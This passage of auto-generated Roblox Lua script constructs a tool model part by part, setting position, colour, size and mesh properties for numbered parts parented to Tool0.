  2610. Part181.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2611. SpecialMesh182.Parent = Part181
  2612. SpecialMesh182.Scale = Vector3.new(1, 0.239999995, 0.0599999763)
  2613. SpecialMesh182.MeshType = Enum.MeshType.Wedge
  2614. SpecialMesh182.Scale = Vector3.new(1, 0.239999995, 0.0599999763)
  2615. Part183.Parent = Tool0
  2616. Part183.Material = Enum.Material.SmoothPlastic
  2617. Part183.BrickColor = BrickColor.new("Black")
  2618. Part183.Rotation = Vector3.new(0, -0.539999962, 0)
  2619. Part183.Anchored = true
  2620. Part183.FormFactor = Enum.FormFactor.Custom
  2621. Part183.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2622. Part183.CFrame = CFrame.new(26.9984131, 1.12915003, 139.746155, 0.999955893, 4.35706298e-08, -0.00939145684, -4.37113812e-08, 0.99999994, -1.4781123e-08, 0.00939150155, 1.51909649e-08, 0.999955773)
  2623. Part183.BottomSurface = Enum.SurfaceType.Smooth
  2624. Part183.TopSurface = Enum.SurfaceType.Smooth
  2625. Part183.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2626. Part183.Position = Vector3.new(26.9984131, 1.12915003, 139.746155)
  2627. Part183.Orientation = Vector3.new(0, -0.539999962, 0)
  2628. Part183.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2629. SpecialMesh184.Parent = Part183
  2630. SpecialMesh184.Scale = Vector3.new(0.0599999987, 0.209999993, 0.599999964)
  2631. SpecialMesh184.MeshType = Enum.MeshType.Wedge
  2632. SpecialMesh184.Scale = Vector3.new(0.0599999987, 0.209999993, 0.599999964)
  2633. Part185.Parent = Tool0
  2634. Part185.Material = Enum.Material.SmoothPlastic
  2635. Part185.BrickColor = BrickColor.new("Black")
  2636. Part185.Rotation = Vector3.new(-180, -89.4599991, -180)
  2637. Part185.Anchored = true
  2638. Part185.FormFactor = Enum.FormFactor.Custom
  2639. Part185.Size = Vector3.new(0.270000011, 0.200000003, 0.200000003)
  2640. Part185.CFrame = CFrame.new(27.1588135, 1.12915003, 139.942932, -0.00939145684, 4.35706298e-08, -0.999955893, -1.4781123e-08, 0.99999994, 4.37113812e-08, 0.999955773, 1.51909649e-08, -0.00939150155)
  2641. Part185.BottomSurface = Enum.SurfaceType.Smooth
  2642. Part185.TopSurface = Enum.SurfaceType.Smooth
  2643. Part185.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2644. Part185.Position = Vector3.new(27.1588135, 1.12915003, 139.942932)
  2645. Part185.Orientation = Vector3.new(0, -90.5400009, 0)
  2646. Part185.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2647. BlockMesh186.Parent = Part185
  2648. BlockMesh186.Scale = Vector3.new(1, 0.209999993, 0.0599999987)
  2649. BlockMesh186.Scale = Vector3.new(1, 0.209999993, 0.0599999987)
  2650. Part187.Parent = Tool0
  2651. Part187.Material = Enum.Material.SmoothPlastic
  2652. Part187.BrickColor = BrickColor.new("Black")
  2653. Part187.Rotation = Vector3.new(-180, -89.4599991, -180)
  2654. Part187.Anchored = true
  2655. Part187.FormFactor = Enum.FormFactor.Custom
  2656. Part187.Size = Vector3.new(0.270000011, 0.200000003, 0.200000003)
  2657. Part187.CFrame = CFrame.new(26.9967041, 1.12915003, 139.941467, -0.00939130783, 4.38506476e-08, -0.999955893, 1.50212571e-08, 0.999995947, 4.37110863e-08, 0.99995172, -1.46100732e-08, -0.00939150155)
  2658. Part187.BottomSurface = Enum.SurfaceType.Smooth
  2659. Part187.TopSurface = Enum.SurfaceType.Smooth
  2660. Part187.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2661. Part187.Position = Vector3.new(26.9967041, 1.12915003, 139.941467)
  2662. Part187.Orientation = Vector3.new(0, -90.5400009, 0)
  2663. Part187.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2664. BlockMesh188.Parent = Part187
  2665. BlockMesh188.Scale = Vector3.new(1, 0.209999993, 0.0599999987)
  2666. BlockMesh188.Scale = Vector3.new(1, 0.209999993, 0.0599999987)
  2667. Part189.Parent = Tool0
  2668. Part189.Material = Enum.Material.SmoothPlastic
  2669. Part189.BrickColor = BrickColor.new("Black")
  2670. Part189.Rotation = Vector3.new(0, -0.539999962, 0)
  2671. Part189.Anchored = true
  2672. Part189.FormFactor = Enum.FormFactor.Custom
  2673. Part189.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2674. Part189.CFrame = CFrame.new(27.1602783, 1.12915003, 139.747681, 0.999955893, 4.38506476e-08, -0.00939130783, -4.37110863e-08, 0.999995947, 1.50212571e-08, 0.00939150155, -1.46100732e-08, 0.99995172)
  2675. Part189.BottomSurface = Enum.SurfaceType.Smooth
  2676. Part189.TopSurface = Enum.SurfaceType.Smooth
  2677. Part189.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2678. Part189.Position = Vector3.new(27.1602783, 1.12915003, 139.747681)
  2679. Part189.Orientation = Vector3.new(0, -0.539999962, 0)
  2680. Part189.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2681. SpecialMesh190.Parent = Part189
  2682. SpecialMesh190.Scale = Vector3.new(0.0599999987, 0.209999993, 0.599999964)
  2683. SpecialMesh190.MeshType = Enum.MeshType.Wedge
  2684. SpecialMesh190.Scale = Vector3.new(0.0599999987, 0.209999993, 0.599999964)
  2685. Part191.Parent = Tool0
  2686. Part191.Material = Enum.Material.SmoothPlastic
  2687. Part191.BrickColor = BrickColor.new("Black")
  2688. Part191.Rotation = Vector3.new(-180, -89.4599991, -150)
  2689. Part191.Anchored = true
  2690. Part191.FormFactor = Enum.FormFactor.Custom
  2691. Part191.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2692. Part191.CFrame = CFrame.new(27.0799561, 1.04418898, 139.736389, -0.00813286006, 0.00469568372, -0.999955893, 0.500007272, 0.866015971, 4.37111254e-08, 0.865977407, -0.499985069, -0.00939150155)
  2693. Part191.BottomSurface = Enum.SurfaceType.Smooth
  2694. Part191.TopSurface = Enum.SurfaceType.Smooth
  2695. Part191.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2696. Part191.Position = Vector3.new(27.0799561, 1.04418898, 139.736389)
  2697. Part191.Orientation = Vector3.new(0, -90.5400009, 30)
  2698. Part191.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2699. BlockMesh192.Parent = Part191
  2700. BlockMesh192.Offset = Vector3.new(0.0299999993, 0.00374999992, 0)
  2701. BlockMesh192.Scale = Vector3.new(0.299999982, 0.1875, 0.450000018)
  2702. BlockMesh192.Scale = Vector3.new(0.299999982, 0.1875, 0.450000018)
  2703. Part193.Parent = Tool0
  2704. Part193.Material = Enum.Material.SmoothPlastic
  2705. Part193.BrickColor = BrickColor.new("Really black")
  2706. Part193.Rotation = Vector3.new(0, 89.4599991, -90)
  2707. Part193.Anchored = true
  2708. Part193.FormFactor = Enum.FormFactor.Custom
  2709. Part193.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2710. Part193.CFrame = CFrame.new(27.3004169, 1.39013696, 140.196228, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
  2711. Part193.BottomSurface = Enum.SurfaceType.Smooth
  2712. Part193.TopSurface = Enum.SurfaceType.Smooth
  2713. Part193.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2714. Part193.Position = Vector3.new(27.3004169, 1.39013696, 140.196228)
  2715. Part193.Orientation = Vector3.new(0, 89.4599991, -90)
  2716. Part193.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  2717. CylinderMesh194.Parent = Part193
  2718. CylinderMesh194.Scale = Vector3.new(0.1875, 0.0299999993, 0.1875)
  2719. CylinderMesh194.Scale = Vector3.new(0.1875, 0.0299999993, 0.1875)
  2720. Part195.Parent = Tool0
  2721. Part195.Material = Enum.Material.SmoothPlastic
  2722. Part195.BrickColor = BrickColor.new("Black")
  2723. Part195.Rotation = Vector3.new(-180, 0.539999962, 90)
  2724. Part195.Anchored = true
  2725. Part195.FormFactor = Enum.FormFactor.Custom
  2726. Part195.Size = Vector3.new(0.371999979, 0.200000003, 0.449999988)
  2727. Part195.CFrame = CFrame.new(27.3028564, 1.26708996, 139.914368, -4.35706298e-08, -0.999955893, 0.00939145684, -0.99999994, 4.37113812e-08, 1.4781123e-08, -1.51909649e-08, -0.00939150155, -0.999955773)
  2728. Part195.BottomSurface = Enum.SurfaceType.Smooth
  2729. Part195.TopSurface = Enum.SurfaceType.Smooth
  2730. Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2731. Part195.Position = Vector3.new(27.3028564, 1.26708996, 139.914368)
  2732. Part195.Orientation = Vector3.new(0, 179.459991, -90)
  2733. Part195.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2734. BlockMesh196.Parent = Part195
  2735. BlockMesh196.Scale = Vector3.new(1, 0.524999976, 1)
  2736. BlockMesh196.Scale = Vector3.new(1, 0.524999976, 1)
  2737. Part197.Parent = Tool0
  2738. Part197.Material = Enum.Material.SmoothPlastic
  2739. Part197.BrickColor = BrickColor.new("Black")
  2740. Part197.Rotation = Vector3.new(0, 89.4599991, -90)
  2741. Part197.Anchored = true
  2742. Part197.FormFactor = Enum.FormFactor.Custom
  2743. Part197.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2744. Part197.CFrame = CFrame.new(27.3007813, 1.39013696, 140.166199, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
  2745. Part197.BottomSurface = Enum.SurfaceType.Smooth
  2746. Part197.TopSurface = Enum.SurfaceType.Smooth
  2747. Part197.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2748. Part197.Position = Vector3.new(27.3007813, 1.39013696, 140.166199)
  2749. Part197.Orientation = Vector3.new(0, 89.4599991, -90)
  2750. Part197.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2751. CylinderMesh198.Parent = Part197
  2752. CylinderMesh198.Scale = Vector3.new(0.299999982, 0.324000031, 0.299999982)
  2753. CylinderMesh198.Scale = Vector3.new(0.299999982, 0.324000031, 0.299999982)
  2754. Part199.Parent = Tool0
  2755. Part199.Material = Enum.Material.SmoothPlastic
  2756. Part199.BrickColor = BrickColor.new("Black")
  2757. Part199.Rotation = Vector3.new(0, 89.4599991, -90)
  2758. Part199.Anchored = true
  2759. Part199.FormFactor = Enum.FormFactor.Custom
  2760. Part199.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2761. Part199.CFrame = CFrame.new(27.3005371, 1.15014601, 140.148193, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
  2762. Part199.BottomSurface = Enum.SurfaceType.Smooth
  2763. Part199.TopSurface = Enum.SurfaceType.Smooth
  2764. Part199.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2765. Part199.Position = Vector3.new(27.3005371, 1.15014601, 140.148193)
  2766. Part199.Orientation = Vector3.new(0, 89.4599991, -90)
  2767. Part199.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2768. CylinderMesh200.Parent = Part199
  2769. CylinderMesh200.Scale = Vector3.new(0.375, 0.108000003, 0.375)
  2770. CylinderMesh200.Scale = Vector3.new(0.375, 0.108000003, 0.375)
  2771. Part201.Parent = Tool0
  2772. Part201.Material = Enum.Material.SmoothPlastic
  2773. Part201.BrickColor = BrickColor.new("Black")
  2774. Part201.Rotation = Vector3.new(0, 89.4599991, -90)
  2775. Part201.Anchored = true
  2776. Part201.FormFactor = Enum.FormFactor.Custom
  2777. Part201.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2778. Part201.CFrame = CFrame.new(27.3052979, 1.38427699, 139.680054, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
  2779. Part201.BottomSurface = Enum.SurfaceType.Smooth
  2780. Part201.TopSurface = Enum.SurfaceType.Smooth
  2781. Part201.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2782. Part201.Position = Vector3.new(27.3052979, 1.38427699, 139.680054)
  2783. Part201.Orientation = Vector3.new(0, 89.4599991, -90)
  2784. Part201.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2785. Decal202.Parent = Part201
  2786. Decal202.Texture = "http://www.roblox.com/asset/?id=65628034"
  2787. Decal202.Face = Enum.NormalId.Bottom
  2788. CylinderMesh203.Parent = Part201
  2789. CylinderMesh203.Scale = Vector3.new(0.375, 0.108000003, 0.375)
  2790. CylinderMesh203.Scale = Vector3.new(0.375, 0.108000003, 0.375)
  2791. Part204.Parent = Tool0
  2792. Part204.Material = Enum.Material.SmoothPlastic
  2793. Part204.BrickColor = BrickColor.new("Black")
  2794. Part204.Reflectance = 0.050000000745058
  2795. Part204.Rotation = Vector3.new(0, 89.4599991, -180)
  2796. Part204.Anchored = true
  2797. Part204.FormFactor = Enum.FormFactor.Custom
  2798. Part204.Size = Vector3.new(0.209999993, 0.396000028, 0.200000003)
  2799. Part204.CFrame = CFrame.new(27.0994873, 1.12011695, 137.605225, -0.00939130783, 4.48289548e-08, 0.999955833, -1.19209247e-07, -0.999999404, 4.37113883e-08, 0.999954998, -1.18793444e-07, 0.00939165056)
  2800. Part204.BottomSurface = Enum.SurfaceType.Smooth
  2801. Part204.TopSurface = Enum.SurfaceType.Smooth
  2802. Part204.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2803. Part204.Position = Vector3.new(27.0994873, 1.12011695, 137.605225)
  2804. Part204.Orientation = Vector3.new(0, 89.4599991, -180)
  2805. Part204.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2806. CylinderMesh205.Parent = Part204
  2807. CylinderMesh205.Scale = Vector3.new(1, 1, 0.599999964)
  2808. CylinderMesh205.Scale = Vector3.new(1, 1, 0.599999964)
  2809. Part206.Parent = Tool0
  2810. Part206.Material = Enum.Material.SmoothPlastic
  2811. Part206.BrickColor = BrickColor.new("Black")
  2812. Part206.Reflectance = 0.050000000745058
  2813. Part206.Rotation = Vector3.new(-180, 0.539999962, 0)
  2814. Part206.Anchored = true
  2815. Part206.FormFactor = Enum.FormFactor.Custom
  2816. Part206.Size = Vector3.new(0.200000003, 0.209999993, 0.200000003)
  2817. Part206.CFrame = CFrame.new(27.1021729, 0.943114996, 137.335159, 0.999955833, 0, 0.00939165056, 0, -1, 0, 0.00939165056, 0, -0.999955833)
  2818. Part206.BottomSurface = Enum.SurfaceType.Smooth
  2819. Part206.TopSurface = Enum.SurfaceType.Smooth
  2820. Part206.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2821. Part206.Position = Vector3.new(27.1021729, 0.943114996, 137.335159)
  2822. Part206.Orientation = Vector3.new(0, 179.459991, 180)
  2823. Part206.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2824. SpecialMesh207.Parent = Part206
  2825. SpecialMesh207.Scale = Vector3.new(0.450000018, 1, 1.35000002)
  2826. SpecialMesh207.MeshType = Enum.MeshType.Wedge
  2827. SpecialMesh207.Scale = Vector3.new(0.450000018, 1, 1.35000002)
  2828. Part208.Parent = Tool0
  2829. Part208.Material = Enum.Material.SmoothPlastic
  2830. Part208.BrickColor = BrickColor.new("Black")
  2831. Part208.Reflectance = 0.050000000745058
  2832. Part208.Rotation = Vector3.new(-102.919998, 1.46999991, 173.62999)
  2833. Part208.Anchored = true
  2834. Part208.FormFactor = Enum.FormFactor.Custom
  2835. Part208.Size = Vector3.new(0.200000003, 0.252000004, 0.200000003)
  2836. Part208.CFrame = CFrame.new(27.1033936, 0.812255979, 137.199951, -0.99349612, -0.110945165, 0.0256136917, -3.66314552e-08, 0.22495088, 0.974369586, -0.113863662, 0.968032122, -0.223487809)
  2837. Part208.BottomSurface = Enum.SurfaceType.Smooth
  2838. Part208.TopSurface = Enum.SurfaceType.Smooth
  2839. Part208.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2840. Part208.Position = Vector3.new(27.1033936, 0.812255979, 137.199951)
  2841. Part208.Orientation = Vector3.new(-77, 173.459991, 0)
  2842. Part208.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2843. SpecialMesh209.Parent = Part208
  2844. SpecialMesh209.Scale = Vector3.new(0.599999964, 1.26000011, 0.75)
  2845. SpecialMesh209.MeshType = Enum.MeshType.Wedge
  2846. SpecialMesh209.Scale = Vector3.new(0.599999964, 1.26000011, 0.75)
  2847. Part210.Parent = Tool0
  2848. Part210.Material = Enum.Material.SmoothPlastic
  2849. Part210.BrickColor = BrickColor.new("Brick yellow")
  2850. Part210.Reflectance = 0.050000000745058
  2851. Part210.Rotation = Vector3.new(180, -89.4599991, -90)
  2852. Part210.Anchored = true
  2853. Part210.FormFactor = Enum.FormFactor.Custom
  2854. Part210.Size = Vector3.new(0.200000003, 0.972000062, 0.270000011)
  2855. Part210.CFrame = CFrame.new(27.1000977, 1.24316394, 137.539001, 3.56089729e-15, 0.00939133763, -0.999955833, 0.999999881, 8.8817842e-16, -3.55271368e-15, -8.54773505e-16, -0.999955535, -0.00939165056)
  2856. Part210.BottomSurface = Enum.SurfaceType.Smooth
  2857. Part210.TopSurface = Enum.SurfaceType.Smooth
  2858. Part210.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2859. Part210.Position = Vector3.new(27.1000977, 1.24316394, 137.539001)
  2860. Part210.Orientation = Vector3.new(0, -90.5400009, 90)
  2861. Part210.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2862. CylinderMesh211.Parent = Part210
  2863. CylinderMesh211.Scale = Vector3.new(1.19999993, 1, 1.60000002)
  2864. CylinderMesh211.Scale = Vector3.new(1.19999993, 1, 1.60000002)
  2865. Part212.Parent = Tool0
  2866. Part212.Material = Enum.Material.SmoothPlastic
  2867. Part212.BrickColor = BrickColor.new("Brick yellow")
  2868. Part212.Reflectance = 0.050000000745058
  2869. Part212.Rotation = Vector3.new(-180, 0.539999962, 180)
  2870. Part212.Anchored = true
  2871. Part212.FormFactor = Enum.FormFactor.Custom
  2872. Part212.Size = Vector3.new(0.200000003, 0.540000021, 0.200000003)
  2873. Part212.CFrame = CFrame.new(27.1049805, 0.982177973, 137.038269, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
  2874. Part212.BottomSurface = Enum.SurfaceType.Smooth
  2875. Part212.TopSurface = Enum.SurfaceType.Smooth
  2876. Part212.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2877. Part212.Position = Vector3.new(27.1049805, 0.982177973, 137.038269)
  2878. Part212.Orientation = Vector3.new(0, 179.459991, 0)
  2879. Part212.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2880. BlockMesh213.Parent = Part212
  2881. BlockMesh213.Scale = Vector3.new(0.75, 1, 0.149999991)
  2882. BlockMesh213.Scale = Vector3.new(0.75, 1, 0.149999991)
  2883. Part214.Parent = Tool0
  2884. Part214.Material = Enum.Material.SmoothPlastic
  2885. Part214.BrickColor = BrickColor.new("Black")
  2886. Part214.Reflectance = 0.050000000745058
  2887. Part214.Rotation = Vector3.new(-180, 0.539999962, 180)
  2888. Part214.Anchored = true
  2889. Part214.FormFactor = Enum.FormFactor.Custom
  2890. Part214.Size = Vector3.new(0.200000003, 0.216000006, 0.200000003)
  2891. Part214.CFrame = CFrame.new(27.104126, 0.940186024, 137.125427, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
  2892. Part214.BottomSurface = Enum.SurfaceType.Smooth
  2893. Part214.TopSurface = Enum.SurfaceType.Smooth
  2894. Part214.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2895. Part214.Position = Vector3.new(27.104126, 0.940186024, 137.125427)
  2896. Part214.Orientation = Vector3.new(0, 179.459991, 0)
  2897. Part214.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2898. BlockMesh215.Parent = Part214
  2899. BlockMesh215.Scale = Vector3.new(0.450000018, 1, 0.75)
  2900. BlockMesh215.Scale = Vector3.new(0.450000018, 1, 0.75)
  2901. Part216.Parent = Tool0
  2902. Part216.Material = Enum.Material.SmoothPlastic
  2903. Part216.BrickColor = BrickColor.new("Brick yellow")
  2904. Part216.Reflectance = 0.050000000745058
  2905. Part216.Rotation = Vector3.new(180, -89.4599991, -90)
  2906. Part216.Anchored = true
  2907. Part216.FormFactor = Enum.FormFactor.Custom
  2908. Part216.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2909. Part216.CFrame = CFrame.new(27.1051025, 0.727294981, 137.041504, -4.398931e-08, 0.00939130783, -0.999955833, 0.999999404, 2.98023117e-08, -4.37113883e-08, 2.93904776e-08, -0.999954998, -0.00939165056)
  2910. Part216.BottomSurface = Enum.SurfaceType.Smooth
  2911. Part216.TopSurface = Enum.SurfaceType.Smooth
  2912. Part216.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2913. Part216.Position = Vector3.new(27.1051025, 0.727294981, 137.041504)
  2914. Part216.Orientation = Vector3.new(0, -90.5400009, 90)
  2915. Part216.Color = Color3.new(0.843137, 0.772549, 0.603922)
  2916. CylinderMesh217.Parent = Part216
  2917. CylinderMesh217.Scale = Vector3.new(0.75, 0.180000007, 0.75)
  2918. CylinderMesh217.Scale = Vector3.new(0.75, 0.180000007, 0.75)
  2919. Part218.Parent = Tool0
  2920. Part218.Material = Enum.Material.SmoothPlastic
  2921. Part218.BrickColor = BrickColor.new("Black")
  2922. Part218.Reflectance = 0.050000000745058
  2923. Part218.Rotation = Vector3.new(135, 0.379999995, -179.619995)
  2924. Part218.Anchored = true
  2925. Part218.FormFactor = Enum.FormFactor.Custom
  2926. Part218.Size = Vector3.new(0.200000003, 0.200000003, 0.300000012)
  2927. Part218.CFrame = CFrame.new(27.1015625, 0.95214802, 137.403931, -0.999955833, 0.0066408813, 0.0066409111, -4.37113883e-08, 0.707106292, -0.707106292, -0.00939165056, -0.707075179, -0.707075119)
  2928. Part218.BottomSurface = Enum.SurfaceType.Smooth
  2929. Part218.TopSurface = Enum.SurfaceType.Smooth
  2930. Part218.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2931. Part218.Position = Vector3.new(27.1015625, 0.95214802, 137.403931)
  2932. Part218.Orientation = Vector3.new(45, 179.459991, 0)
  2933. Part218.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2934. BlockMesh219.Parent = Part218
  2935. BlockMesh219.Scale = Vector3.new(0.75, 0.540000021, 1)
  2936. BlockMesh219.Scale = Vector3.new(0.75, 0.540000021, 1)
  2937. Part220.Parent = Tool0
  2938. Part220.Material = Enum.Material.SmoothPlastic
  2939. Part220.BrickColor = BrickColor.new("Black")
  2940. Part220.Reflectance = 0.050000000745058
  2941. Part220.Rotation = Vector3.new(-180, 0.539999962, 180)
  2942. Part220.Anchored = true
  2943. Part220.FormFactor = Enum.FormFactor.Custom
  2944. Part220.Size = Vector3.new(0.200000003, 0.200000003, 0.720000029)
  2945. Part220.CFrame = CFrame.new(27.1015625, 1.06909204, 137.4104, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
  2946. Part220.BottomSurface = Enum.SurfaceType.Smooth
  2947. Part220.TopSurface = Enum.SurfaceType.Smooth
  2948. Part220.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2949. Part220.Position = Vector3.new(27.1015625, 1.06909204, 137.4104)
  2950. Part220.Orientation = Vector3.new(0, 179.459991, 0)
  2951. Part220.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2952. BlockMesh221.Parent = Part220
  2953. BlockMesh221.Offset = Vector3.new(0, 0, 0.00300000003)
  2954. BlockMesh221.Scale = Vector3.new(0.450000018, 0.360000014, 1)
  2955. BlockMesh221.Scale = Vector3.new(0.450000018, 0.360000014, 1)
  2956. Part222.Parent = Tool0
  2957. Part222.Material = Enum.Material.SmoothPlastic
  2958. Part222.BrickColor = BrickColor.new("Black")
  2959. Part222.Reflectance = 0.050000000745058
  2960. Part222.Rotation = Vector3.new(-180, 0.539999962, 180)
  2961. Part222.Anchored = true
  2962. Part222.FormFactor = Enum.FormFactor.Custom
  2963. Part222.Size = Vector3.new(0.200000003, 0.200000003, 0.300000012)
  2964. Part222.CFrame = CFrame.new(27.0994873, 1.04223597, 137.620071, -0.999955833, -4.398931e-08, 0.00939130783, -4.37113883e-08, 0.999999404, 2.98023117e-08, -0.00939165056, 2.93904776e-08, -0.999954998)
  2965. Part222.BottomSurface = Enum.SurfaceType.Smooth
  2966. Part222.TopSurface = Enum.SurfaceType.Smooth
  2967. Part222.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2968. Part222.Position = Vector3.new(27.0994873, 1.04223597, 137.620071)
  2969. Part222.Orientation = Vector3.new(0, 179.459991, 0)
  2970. Part222.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2971. BlockMesh223.Parent = Part222
  2972. BlockMesh223.Scale = Vector3.new(0.75, 0.540000021, 1)
  2973. BlockMesh223.Scale = Vector3.new(0.75, 0.540000021, 1)
  2974. Part224.Parent = Tool0
  2975. Part224.Material = Enum.Material.SmoothPlastic
  2976. Part224.BrickColor = BrickColor.new("Black")
  2977. Part224.Reflectance = 0.050000000745058
  2978. Part224.Rotation = Vector3.new(180, 0.539999962, 180)
  2979. Part224.Anchored = true
  2980. Part224.FormFactor = Enum.FormFactor.Custom
  2981. Part224.Size = Vector3.new(0.200000003, 0.200000003, 0.540000021)
  2982. Part224.CFrame = CFrame.new(27.1009521, 1.10815406, 137.500504, -0.999955297, -4.35694645e-08, 0.00939142704, -4.37113741e-08, 0.999999106, -1.49011612e-08, -0.00939147174, -1.53110111e-08, -0.99995476)
  2983. Part224.BottomSurface = Enum.SurfaceType.Smooth
  2984. Part224.TopSurface = Enum.SurfaceType.Smooth
  2985. Part224.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2986. Part224.Position = Vector3.new(27.1009521, 1.10815406, 137.500504)
  2987. Part224.Orientation = Vector3.new(0, 179.459991, 0)
  2988. Part224.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2989. BlockMesh225.Parent = Part224
  2990. BlockMesh225.Offset = Vector3.new(0, 0, 0.00300000003)
  2991. BlockMesh225.Scale = Vector3.new(0.450000018, 0.900000036, 1)
  2992. BlockMesh225.Scale = Vector3.new(0.450000018, 0.900000036, 1)
  2993. Part226.Parent = Tool0
  2994. Part226.Material = Enum.Material.SmoothPlastic
  2995. Part226.BrickColor = BrickColor.new("Brick yellow")
  2996. Part226.Reflectance = 0.050000000745058
  2997. Part226.Rotation = Vector3.new(0, 89.4599991, -180)
  2998. Part226.Anchored = true
  2999. Part226.FormFactor = Enum.FormFactor.Custom
  3000. Part226.Size = Vector3.new(0.200000003, 0.540000021, 0.200000003)
  3001. Part226.CFrame = CFrame.new(26.9997559, 0.982177973, 137.037064, -0.00939130783, 4.398931e-08, 0.999955833, -2.98023117e-08, -0.999999404, 4.37113883e-08, 0.999954998, -2.93904776e-08, 0.00939165056)
  3002. Part226.BottomSurface = Enum.SurfaceType.Smooth
  3003. Part226.TopSurface = Enum.SurfaceType.Smooth
  3004. Part226.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3005. Part226.Position = Vector3.new(26.9997559, 0.982177973, 137.037064)
  3006. Part226.Orientation = Vector3.new(0, 89.4599991, -180)
  3007. Part226.Color = Color3.new(0.843137, 0.772549, 0.603922)
  3008. SpecialMesh227.Parent = Part226
  3009. SpecialMesh227.Scale = Vector3.new(0.149999991, 1, 0.299999982)
  3010. SpecialMesh227.MeshType = Enum.MeshType.Wedge
  3011. SpecialMesh227.Scale = Vector3.new(0.149999991, 1, 0.299999982)
  3012. Part228.Parent = Tool0
  3013. Part228.Material = Enum.Material.SmoothPlastic
  3014. Part228.BrickColor = BrickColor.new("Black")
  3015. Part228.Reflectance = 0.050000000745058
  3016. Part228.Rotation = Vector3.new(-90, 0, 179.459991)
  3017. Part228.Anchored = true
  3018. Part228.FormFactor = Enum.FormFactor.Custom
  3019. Part228.Size = Vector3.new(0.200000003, 0.99000001, 0.228)
  3020. Part228.CFrame = CFrame.new(27.0190411, 1.24609399, 139.761414, -0.999955833, -0.00939133763, 3.56089729e-15, -3.55271368e-15, -8.8817842e-16, 0.999999881, -0.00939165056, 0.999955535, -8.54773505e-16)
  3021. Part228.BottomSurface = Enum.SurfaceType.Smooth
  3022. Part228.TopSurface = Enum.SurfaceType.Smooth
  3023. Part228.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3024. Part228.Position = Vector3.new(27.0190411, 1.24609399, 139.761414)
  3025. Part228.Orientation = Vector3.new(-89.9700012, 103.5, -104.040001)
  3026. Part228.Color = Color3.new(0.105882, 0.164706, 0.207843)
  3027. CylinderMesh229.Parent = Part228
  3028. CylinderMesh229.Offset = Vector3.new(0, -0.00239999988, 0)
  3029. CylinderMesh229.Scale = Vector3.new(1.13999999, 1.00999987, 2)
  3030. CylinderMesh229.Scale = Vector3.new(1.13999999, 1.00999987, 2)
  3031. Part230.Parent = Tool0
  3032. Part230.Material = Enum.Material.SmoothPlastic
  3033. Part230.BrickColor = BrickColor.new("Brick yellow")
  3034. Part230.Rotation = Vector3.new(-180, 0.539999962, -180)
  3035. Part230.Anchored = true
  3036. Part230.FormFactor = Enum.FormFactor.Custom
  3037. Part230.Size = Vector3.new(0.200000003, 0.200000003, 0.810000002)
